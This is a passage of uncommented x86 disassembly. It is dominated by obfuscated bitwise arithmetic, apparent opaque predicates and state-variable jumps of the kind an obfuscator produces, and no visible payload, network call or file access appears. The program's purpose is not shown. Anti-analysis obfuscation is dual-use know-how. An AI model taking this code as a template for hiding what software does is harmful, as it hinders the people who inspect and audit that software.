mov byte [ebp - 0x20b2], al
mov al, byte [ebp - 0x20aa]
mov byte [ebp - 0x20b3], cl
mov cl, byte [ebp - 0x20b0]
and al, cl
mov cl, byte [ebp - 0x20b1]
or cl, ch
mov ch, byte [ebp - 0x20b2]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x20ae]
mov ch, byte [ebp - 0x20af]
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0x20b0]
or ch, 0
and al, ch
or cl, al
mov al, byte [ebp - 0x20ab]
and al, bh
mov ch, byte [ebp - 0x20ab]
xor ch, bh
or al, ch
mov ch, cl
xor ch, 0xff
mov bh, al
and bh, ch
xor al, 0xff
and cl, al
or bh, cl
mov al, byte [ebp - 0x20a9]
xor al, 0xff
mov cl, byte [ebp - 0x20b3]
xor cl, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x20b4], al
and al, 0
mov byte [ebp - 0x20b5], al
mov al, byte [ebp - 0x20a9]
and al, ch
mov byte [ebp - 0x20b6], al
mov al, cl
and al, 0
mov byte [ebp - 0x20b7], al
mov al, byte [ebp - 0x20b3]
and al, ch
mov byte [ebp - 0x20b8], al
mov al, byte [ebp - 0x20b5]
mov byte [ebp - 0x20b9], cl
mov cl, byte [ebp - 0x20b6]
or al, cl
mov cl, byte [ebp - 0x20b7]
mov byte [ebp - 0x20ba], al
mov al, byte [ebp - 0x20b8]
or cl, al
mov al, byte [ebp - 0x20ba]
xor al, cl
mov cl, byte [ebp - 0x20b4]
mov byte [ebp - 0x20bb], al
mov al, byte [ebp - 0x20b9]
or cl, al
xor cl, 0xff
or ch, 0
and cl, ch
mov ch, byte [ebp - 0x20bb]
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov al, dl
xor al, 1
and ch, al
or cl, ch
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bh
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x20bc], al
and al, 0
and bh, dh
mov byte [ebp - 0x20bd], al
mov al, cl
and al, 0
and ch, dh
mov byte [ebp - 0x20be], al
mov al, byte [ebp - 0x20bd]
or al, bh
mov bh, byte [ebp - 0x20be]
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x20bc]
or ch, cl
xor ch, 0xff
or dh, 0
and ch, dh
or al, ch
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov dh, al
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, dh
or bh, ch
xor cl, bh
mov ch, dl
xor ch, 1
xor cl, 0xff
mov dh, dl
xor dh, 1
or ch, cl
or dh, 1
xor ch, 0xff
and ch, dh
mov cl, dl
xor cl, 1
and cl, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x20bf], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x20bf]
xor al, cl
mov cl, byte [ebp - 0x20bf]
and al, cl
mov dh, ch
xor dh, 0xff
mov bh, al
xor bh, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x20c0], al
mov al, dh
and al, 0
and ch, cl
mov byte [ebp - 0x20c1], al
mov al, bh
and al, 0
mov byte [ebp - 0x20c2], al
mov al, byte [ebp - 0x20c0]
and al, cl
mov byte [ebp - 0x20c3], al
mov al, byte [ebp - 0x20c1]
or al, ch
mov ch, byte [ebp - 0x20c2]
mov byte [ebp - 0x20c4], al
mov al, byte [ebp - 0x20c3]
or ch, al
mov al, byte [ebp - 0x20c4]
xor al, ch
or dh, bh
xor dh, 0xff
or cl, 0
and dh, cl
or al, dh
mov cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
xor ah, 0xff
and ah, 1
or dh, ah
mov ah, cl
xor ah, 0xff
mov ch, dh
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x20c5], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x20c6], al
mov al, ch
and al, 0xff
and dh, bh
mov byte [ebp - 0x20c7], al
mov al, byte [ebp - 0x20c6]
or al, cl
mov cl, byte [ebp - 0x20c7]
or cl, dh
xor al, cl
or ah, ch
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov ch, dl
xor ch, 1
and ch, 0
and ah, 1
or cl, al
or ch, ah
xor cl, ch
mov al, byte [ebp - 0x20c5]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x20c5]
and al, cl
or ah, al
mov al, byte [ebp - 0x20c5]
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, bl
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, bl
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, dh
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 1
mov byte [ebp - 0x20c8], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ch, bh
or al, dh
xor ch, al
mov al, dl
xor al, 1
mov dh, byte [ebp - 0x20c8]
xor dh, al
mov al, byte [ebp - 0x20c8]
and dh, al
xor bl, 0xff
mov bh, ch
xor bh, 0xff
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x20c9], al
mov al, dl
xor al, 1
mov byte [ebp - 0x20ca], al
mov al, byte [ebp - 0x20c9]
or al, bh
mov bh, byte [ebp - 0x20ca]
or bh, 1
xor al, 0xff
and al, bh
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x20cb], al
mov al, cl
xor al, bh
and al, cl
mov cl, dh
and cl, bl
xor dh, bl
or cl, dh
mov dh, byte [ebp - 0x20cb]
xor dh, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x20cc], al
mov al, dh
and al, 0
mov byte [ebp - 0x20cd], al
mov al, byte [ebp - 0x20cb]
and al, bh
mov byte [ebp - 0x20ce], al
mov al, bl
and al, 0
mov byte [ebp - 0x20cf], al
mov al, byte [ebp - 0x20cc]
and al, bh
mov byte [ebp - 0x20d0], al
mov al, byte [ebp - 0x20cd]
mov byte [ebp - 0x20d1], cl
mov cl, byte [ebp - 0x20ce]
or al, cl
mov cl, byte [ebp - 0x20cf]
mov byte [ebp - 0x20d2], al
mov al, byte [ebp - 0x20d0]
or cl, al
mov al, byte [ebp - 0x20d2]
xor al, cl
or dh, bl
xor dh, 0xff
or bh, 0
and dh, bh
or al, dh
mov cl, byte [ebp - 0x20d1]
xor cl, 0xff
and cl, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x20d1]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0
and al, dh
or cl, bl
or bh, al
xor cl, bh
mov al, byte [ebp - 0x20c8]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x20d3], al
mov al, byte [ebp - 0x20c8]
and al, bl
mov byte [ebp - 0x20d4], al
mov al, dh
and al, 0
and ah, bl
mov byte [ebp - 0x20d5], al
mov al, byte [ebp - 0x20d4]
or bh, al
mov al, byte [ebp - 0x20d5]
or al, ah
xor bh, al
mov al, byte [ebp - 0x20d3]
or al, dh
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
mov ah, ch
and ah, 1
xor ch, 1
or ah, ch
xor al, 0xff
xor ah, 0xff
mov ch, dl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
xor dl, 0
mov dh, ah
and dh, 0
and cl, dl
mov bl, ch
and bl, 0
and al, dl
or dh, cl
or bl, al
xor dh, bl
or ah, ch
xor ah, 0xff
or dl, 0
and ah, dl
or dh, ah
test dh, 1
mov esi, dword [ebp - 0x203c]
mov edi, dword [ebp - 0x204c]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x641b15da
mov ecx, 0x69e50f3
mov dl, 1
xor esi, esi
mov edi, 0x4f263b06
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x20dc], eax
mov eax, dword [0x4ac084]
add edi, 0
sub edi, 0x7daf3969
sub edi, 0x4f263b06
mov dword [ebp - 0x20e0], eax
mov eax, esi
sub eax, ebx
mov dword [ebp - 0x20e4], eax
mov eax, esi
sub eax, edi
mov edi, dword [ebp - 0x20e4]
add edi, eax
mov eax, esi
sub eax, edi
add eax, 0xd7a76997
sub eax, 0xb448efe0
sub eax, 0xd7a76997
sub eax, 0xf5926577
sub eax, 1
add eax, 0xf5926577
mov edi, esi
sub edi, 0xb448efe0
sub eax, edi
sub esi, 0x7daf3969
add esi, 0
sub eax, 0xe838dada
sub eax, esi
add eax, 0xe838dada
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x20e0]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
mov byte [ebp - 0x20e5], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dl
xor al, 1
xor ah, 0xff
mov bl, dl
xor bl, 1
or al, ah
or bl, 1
xor al, 0xff
and al, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
and bl, 1
or ah, bl
xor ah, 0xff
mov bl, dh
xor bl, ah
and bl, dh
mov ah, al
and ah, bl
xor al, bl
or ah, al
mov al, byte [ebp - 0x20e5]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x20e5]
and bh, bl
or al, bh
mov bl, dl
xor bl, 1
xor al, 0xff
mov bh, dl
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
mov al, dl
xor al, 1
and al, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x20e6], al
mov al, bh
and al, 1
mov byte [ebp - 0x20e7], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x20e8], al
mov al, byte [ebp - 0x20e6]
mov dword [ebp - 0x20ec], ecx
mov cl, byte [ebp - 0x20e7]
or al, cl
mov cl, byte [ebp - 0x20e8]
or cl, bh
xor al, cl
xor al, 0xff
mov cl, byte [ebp - 0x20e5]
xor cl, al
mov al, byte [ebp - 0x20e5]
and cl, al
mov bh, bl
and bh, cl
xor bl, cl
or bh, bl
mov cl, dl
xor cl, 0
and cl, 1
mov bl, dl
xor bl, 1
mov ch, bl
and ch, 0
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or cl, ch
or al, bl
xor cl, al
mov al, dl
xor al, 0
xor cl, 0xff
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov byte [ebp - 0x20ed], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
or cl, bl
or al, ch
xor cl, al
mov al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
xor ch, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x20ee], al
mov al, dl
xor al, 0
or ch, bl
or al, 0
xor ch, 0xff
and ch, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, byte [ebp - 0x20ed]
xor al, 0xff
mov bl, byte [ebp - 0x20ee]
xor bl, 0xff
mov byte [ebp - 0x20ef], al
mov al, dl
xor al, 1
mov byte [ebp - 0x20f0], al
mov al, byte [ebp - 0x20ef]
and al, 0xff
mov byte [ebp - 0x20f1], al
mov al, byte [ebp - 0x20ed]
mov byte [ebp - 0x20f2], cl
mov cl, byte [ebp - 0x20f0]
and al, cl
mov cl, bl
and cl, 0xff
mov byte [ebp - 0x20f3], al
mov al, byte [ebp - 0x20ee]
mov byte [ebp - 0x20f4], cl
mov cl, byte [ebp - 0x20f0]
and al, cl
mov cl, byte [ebp - 0x20f1]
mov byte [ebp - 0x20f5], al
mov al, byte [ebp - 0x20f3]
or cl, al
mov al, byte [ebp - 0x20f4]
mov byte [ebp - 0x20f6], cl
mov cl, byte [ebp - 0x20f5]
or al, cl
mov cl, byte [ebp - 0x20f6]
xor cl, al
mov al, byte [ebp - 0x20ef]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x20f0]
or bl, 1
and al, bl
or cl, al
mov al, ch
xor al, 0xff
mov bl, byte [ebp - 0x20f2]
xor bl, 0xff
mov byte [ebp - 0x20f7], al
mov al, dl
xor al, 0
mov byte [ebp - 0x20f8], al
mov al, byte [ebp - 0x20f7]
and al, 0
mov byte [ebp - 0x20f9], al
mov al, byte [ebp - 0x20f8]
and ch, al
mov al, bl
and al, 0
mov byte [ebp - 0x20fa], al
mov al, byte [ebp - 0x20f2]
mov byte [ebp - 0x20fb], cl
mov cl, byte [ebp - 0x20f8]
and al, cl
mov cl, byte [ebp - 0x20f9]
or cl, ch
mov ch, byte [ebp - 0x20fa]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x20f7]
or al, bl
xor al, 0xff
mov ch, byte [ebp - 0x20f8]
or ch, 0
and al, ch
or cl, al
mov al, byte [ebp - 0x20fb]
xor al, 0xff
and al, 0
mov ch, dl
xor ch, 0
mov bl, byte [ebp - 0x20fb]
and bl, ch
mov byte [ebp - 0x20fc], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ch
mov ch, byte [ebp - 0x20fc]
or ch, bl
or al, cl
xor ch, al
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
and cl, 0
or al, cl
mov cl, ah
xor cl, 0xff
mov bl, al
and bl, cl
xor al, 0xff
mov cl, ah
and cl, al
or bl, cl
mov al, ah
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov al, dh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and dh, bl
or al, dh
mov dh, ch
xor dh, 0xff
and dh, 0
mov bl, dl
xor bl, 0
mov byte [ebp - 0x20fd], al
mov al, ch
and al, bl
mov byte [ebp - 0x20fe], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x20ff], al
mov al, byte [ebp - 0x20fe]
or dh, al
mov al, byte [ebp - 0x20ff]
or al, bl
xor dh, al
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
and bl, 0
or al, bl
mov bl, byte [ebp - 0x20fd]
and bl, dh
mov byte [ebp - 0x2100], al
mov al, byte [ebp - 0x20fd]
xor al, dh
or bl, al
mov al, byte [ebp - 0x2100]
and al, 0
mov dh, byte [ebp - 0x2100]
xor dh, 0
or al, dh
mov dh, bl
xor dh, 0xff
and dh, 0
mov byte [ebp - 0x2101], al
mov al, dl
xor al, 0
and bl, al
mov byte [ebp - 0x2102], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x2103], al
mov al, byte [ebp - 0x2102]
and al, 1
or dh, bl
mov bl, byte [ebp - 0x2103]
or bl, al
xor dh, bl
xor dh, 0xff
mov al, byte [ebp - 0x2101]
xor al, 0xff
mov bl, dl
xor bl, 1
or dh, al
or bl, 1
xor dh, 0xff
and dh, bl
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0x2104], al
mov al, bh
and al, bl
mov bl, byte [ebp - 0x2104]
or bl, al
mov al, dl
xor al, 0
and al, 1
mov byte [ebp - 0x2105], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x2106], al
mov al, byte [ebp - 0x2105]
mov byte [ebp - 0x2107], cl
mov cl, byte [ebp - 0x2106]
or al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov byte [ebp - 0x2108], al
mov al, dl
xor al, 1
and al, 0
or cl, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x2109], al
mov al, byte [ebp - 0x2108]
xor al, 0xff
mov byte [ebp - 0x210a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x210b], al
mov al, byte [ebp - 0x2109]
and al, 0xff
mov byte [ebp - 0x210c], al
mov al, byte [ebp - 0x210b]
and bl, al
mov al, byte [ebp - 0x210a]
and al, 0xff
mov byte [ebp - 0x210d], al
mov al, byte [ebp - 0x2108]
mov byte [ebp - 0x210e], cl
mov cl, byte [ebp - 0x210b]
and al, cl
mov cl, byte [ebp - 0x210c]
or cl, bl
mov bl, byte [ebp - 0x210d]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x2109]
mov bl, byte [ebp - 0x210a]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x210b]
or bl, 1
and al, bl
or cl, al
mov al, dl
xor al, 0
mov bl, byte [ebp - 0x210e]
xor bl, 0xff
mov byte [ebp - 0x210f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2110], al
mov al, byte [ebp - 0x210f]
and al, 0xff
mov byte [ebp - 0x2111], al
mov al, byte [ebp - 0x2110]
and al, 0
mov byte [ebp - 0x2112], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x2113], al
mov al, byte [ebp - 0x210e]
mov byte [ebp - 0x2114], cl
mov cl, byte [ebp - 0x2110]
and al, cl
mov cl, byte [ebp - 0x2111]
mov byte [ebp - 0x2115], al
mov al, byte [ebp - 0x2112]
or cl, al
mov al, byte [ebp - 0x2113]
mov byte [ebp - 0x2116], cl
mov cl, byte [ebp - 0x2115]
or al, cl
mov cl, byte [ebp - 0x2116]
xor cl, al
mov al, byte [ebp - 0x210f]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0x2110]
or bl, 1
and al, bl
or cl, al
mov al, byte [ebp - 0x2114]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0x2117], al
mov al, byte [ebp - 0x2114]
and al, bl
mov byte [ebp - 0x2118], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x2119], al
mov al, byte [ebp - 0x2117]
mov byte [ebp - 0x211a], cl
mov cl, byte [ebp - 0x2118]
or al, cl
mov cl, byte [ebp - 0x2119]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x211a]
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov byte [ebp - 0x211b], al
mov al, ch
and al, cl
mov byte [ebp - 0x211c], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x211d], al
mov al, byte [ebp - 0x211b]
mov byte [ebp - 0x211e], cl
mov cl, byte [ebp - 0x211c]
or al, cl
mov cl, byte [ebp - 0x211d]
mov byte [ebp - 0x211f], al
mov al, byte [ebp - 0x211e]
or cl, al
mov al, byte [ebp - 0x211f]
xor al, cl
mov cl, byte [ebp - 0x20e5]
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x2120], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2121], al
mov al, byte [ebp - 0x20e5]
mov byte [ebp - 0x2122], cl
mov cl, byte [ebp - 0x2121]
and al, cl
mov cl, byte [ebp - 0x2120]
xor cl, 0xff
and cl, 0xff
mov byte [ebp - 0x2123], al
mov al, byte [ebp - 0x2120]
mov byte [ebp - 0x2124], cl
mov cl, byte [ebp - 0x2121]
and al, cl
mov cl, byte [ebp - 0x2122]
mov byte [ebp - 0x2125], al
mov al, byte [ebp - 0x2123]
or cl, al
mov al, byte [ebp - 0x2124]
mov byte [ebp - 0x2126], cl
mov cl, byte [ebp - 0x2125]
or al, cl
mov cl, byte [ebp - 0x2126]
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0x20e5]
xor al, 0xff
mov byte [ebp - 0x2127], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2128], al
mov al, byte [ebp - 0x2127]
or cl, al
mov al, byte [ebp - 0x2128]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x2107]
xor al, 0xff
and al, 1
mov byte [ebp - 0x2129], al
mov al, dl
xor al, 1
mov byte [ebp - 0x212a], al
mov al, byte [ebp - 0x2107]
mov byte [ebp - 0x212b], cl
mov cl, byte [ebp - 0x212a]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x212c], al
mov al, byte [ebp - 0x212a]
and al, 1
mov byte [ebp - 0x212d], al
mov al, byte [ebp - 0x2129]
mov byte [ebp - 0x212e], cl
mov cl, byte [ebp - 0x212c]
or al, cl
mov cl, byte [ebp - 0x212e]
mov byte [ebp - 0x212f], al
mov al, byte [ebp - 0x212d]
or cl, al
mov al, byte [ebp - 0x212f]
xor al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x2130], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2131], al
mov al, dh
mov byte [ebp - 0x2132], cl
mov cl, byte [ebp - 0x2131]
and al, cl
mov cl, byte [ebp - 0x2132]
or cl, al
mov al, dl
xor al, 0
and al, 0
mov byte [ebp - 0x2133], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2134], al
and al, 0
mov byte [ebp - 0x2135], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x2136], al
mov al, byte [ebp - 0x2134]
and al, 1
mov byte [ebp - 0x2137], al
mov al, byte [ebp - 0x2133]
mov byte [ebp - 0x2138], cl
mov cl, byte [ebp - 0x2135]
or al, cl
mov cl, byte [ebp - 0x2136]
mov byte [ebp - 0x2139], al
mov al, byte [ebp - 0x2137]
or cl, al
mov al, byte [ebp - 0x2139]
xor al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x213a], al
mov al, byte [ebp - 0x2130]
xor al, cl
mov cl, byte [ebp - 0x2130]
and al, cl
mov cl, byte [ebp - 0x213a]
xor cl, 0xff
mov byte [ebp - 0x213b], al
mov al, byte [ebp - 0x2107]
xor al, cl
mov cl, byte [ebp - 0x2107]
and al, cl
mov cl, byte [ebp - 0x2138]
xor cl, 0xff
mov byte [ebp - 0x213c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x213d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x213e], al
mov al, byte [ebp - 0x213d]
or cl, al
mov al, byte [ebp - 0x213e]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x213a]
xor al, 0xff
mov byte [ebp - 0x213f], al
mov al, dh
mov byte [ebp - 0x2140], cl
mov cl, byte [ebp - 0x213f]
xor al, cl
and al, dh
mov cl, byte [ebp - 0x213b]
mov dh, byte [ebp - 0x213c]
and cl, dh
mov dh, byte [ebp - 0x213b]
mov byte [ebp - 0x2141], al
mov al, byte [ebp - 0x213c]
xor dh, al
or cl, dh
mov dh, byte [ebp - 0x2140]
xor dh, 0xff
mov al, byte [ebp - 0x2141]
xor al, 0xff
mov byte [ebp - 0x2142], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2143], al
mov al, dh
and al, 0xff
mov byte [ebp - 0x2144], al
mov al, byte [ebp - 0x2140]
mov byte [ebp - 0x2145], cl
mov cl, byte [ebp - 0x2143]
and al, cl
mov cl, byte [ebp - 0x2142]
and cl, 0xff
mov byte [ebp - 0x2146], al
mov al, byte [ebp - 0x2141]
mov byte [ebp - 0x2147], cl
mov cl, byte [ebp - 0x2143]
and al, cl
mov cl, byte [ebp - 0x2144]
mov byte [ebp - 0x2148], al
mov al, byte [ebp - 0x2146]
or cl, al
mov al, byte [ebp - 0x2147]
mov byte [ebp - 0x2149], cl
mov cl, byte [ebp - 0x2148]
or al, cl
mov cl, byte [ebp - 0x2149]
xor cl, al
mov al, byte [ebp - 0x2142]
or dh, al
xor dh, 0xff
mov al, byte [ebp - 0x2143]
or al, 1
and dh, al
or cl, dh
mov al, byte [ebp - 0x2145]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0x214a], al
mov al, byte [ebp - 0x2145]
and al, dh
mov byte [ebp - 0x214b], al
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
mov dh, byte [ebp - 0x214a]
mov byte [ebp - 0x214c], al
mov al, byte [ebp - 0x214b]
or dh, al
mov al, byte [ebp - 0x214c]
or al, cl
xor dh, al
mov al, byte [ebp - 0x2130]
mov cl, byte [ebp - 0x2138]
and al, cl
mov cl, byte [ebp - 0x2130]
mov byte [ebp - 0x214d], al
mov al, byte [ebp - 0x2138]
xor cl, al
mov al, byte [ebp - 0x214d]
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x214e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x214f], al
mov al, byte [ebp - 0x214e]
mov byte [ebp - 0x2150], cl
mov cl, byte [ebp - 0x214f]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0xff
mov byte [ebp - 0x2151], al
mov al, byte [ebp - 0x214f]
and al, 1
mov byte [ebp - 0x2152], al
mov al, byte [ebp - 0x2150]
mov byte [ebp - 0x2153], cl
mov cl, byte [ebp - 0x2151]
or al, cl
mov cl, byte [ebp - 0x2153]
mov byte [ebp - 0x2154], al
mov al, byte [ebp - 0x2152]
or cl, al
mov al, byte [ebp - 0x2154]
xor al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0x2155], al
mov al, byte [ebp - 0x213a]
xor al, 0xff
mov byte [ebp - 0x2156], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2157], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x2158], al
mov al, byte [ebp - 0x2157]
and al, 0
mov byte [ebp - 0x2159], al
mov al, byte [ebp - 0x2156]
and al, 0xff
mov byte [ebp - 0x215a], al
mov al, byte [ebp - 0x213a]
mov byte [ebp - 0x215b], cl
mov cl, byte [ebp - 0x2157]
and al, cl
mov cl, byte [ebp - 0x2158]
mov byte [ebp - 0x215c], al
mov al, byte [ebp - 0x2159]
or cl, al
mov al, byte [ebp - 0x215a]
mov byte [ebp - 0x215d], cl
mov cl, byte [ebp - 0x215c]
or al, cl
mov cl, byte [ebp - 0x215d]
xor cl, al
mov al, byte [ebp - 0x215b]
mov byte [ebp - 0x215e], cl
mov cl, byte [ebp - 0x2156]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x2157]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x215e]
or cl, al
mov al, byte [ebp - 0x2155]
xor al, 0xff
xor cl, 0xff
mov byte [ebp - 0x215f], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2160], al
mov al, byte [ebp - 0x215f]
or al, cl
mov cl, byte [ebp - 0x2160]
or cl, 0
xor al, 0xff
and al, cl
mov cl, dh
and cl, al
xor dh, al
or cl, dh
mov al, bl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x2161], al
mov al, bl
and al, dh
mov byte [ebp - 0x2162], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x2163], al
mov al, byte [ebp - 0x2161]
mov byte [ebp - 0x2164], cl
mov cl, byte [ebp - 0x2162]
or al, cl
mov cl, byte [ebp - 0x2163]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x212b]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x2165], al
mov al, byte [ebp - 0x212b]
and al, dh
mov byte [ebp - 0x2166], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x2167], al
mov al, byte [ebp - 0x2166]
or cl, al
mov al, byte [ebp - 0x2167]
or al, dh
xor cl, al
mov al, dl
xor al, 0
and al, 1
mov dh, dl
xor dh, 1
and dh, 0
or al, dh
mov dh, byte [ebp - 0x2165]
xor dh, 0xff
mov byte [ebp - 0x2168], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2169], al
mov al, dl
xor al, 1
mov byte [ebp - 0x216a], al
mov al, byte [ebp - 0x2169]
or dh, al
mov al, byte [ebp - 0x216a]
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x2168]
xor al, 0xff
mov byte [ebp - 0x216b], al
mov al, bl
mov byte [ebp - 0x216c], cl
mov cl, byte [ebp - 0x216b]
xor al, cl
and al, bl
mov cl, dl
xor cl, 0
mov bl, byte [ebp - 0x216c]
xor bl, cl
mov cl, byte [ebp - 0x216c]
and bl, cl
mov cl, byte [ebp - 0x212b]
xor cl, 0xff
mov byte [ebp - 0x216d], al
mov al, byte [ebp - 0x2168]
xor al, 0xff
mov byte [ebp - 0x216e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x216f], al
mov al, byte [ebp - 0x216e]
or cl, al
mov al, byte [ebp - 0x216f]
or al, 0
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x2170], al
mov al, byte [ebp - 0x216d]
xor al, 0xff
mov byte [ebp - 0x2171], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2172], al
mov al, byte [ebp - 0x2170]
and al, 0
mov byte [ebp - 0x2173], al
mov al, byte [ebp - 0x2172]
and dh, al
mov al, byte [ebp - 0x2171]
and al, 0
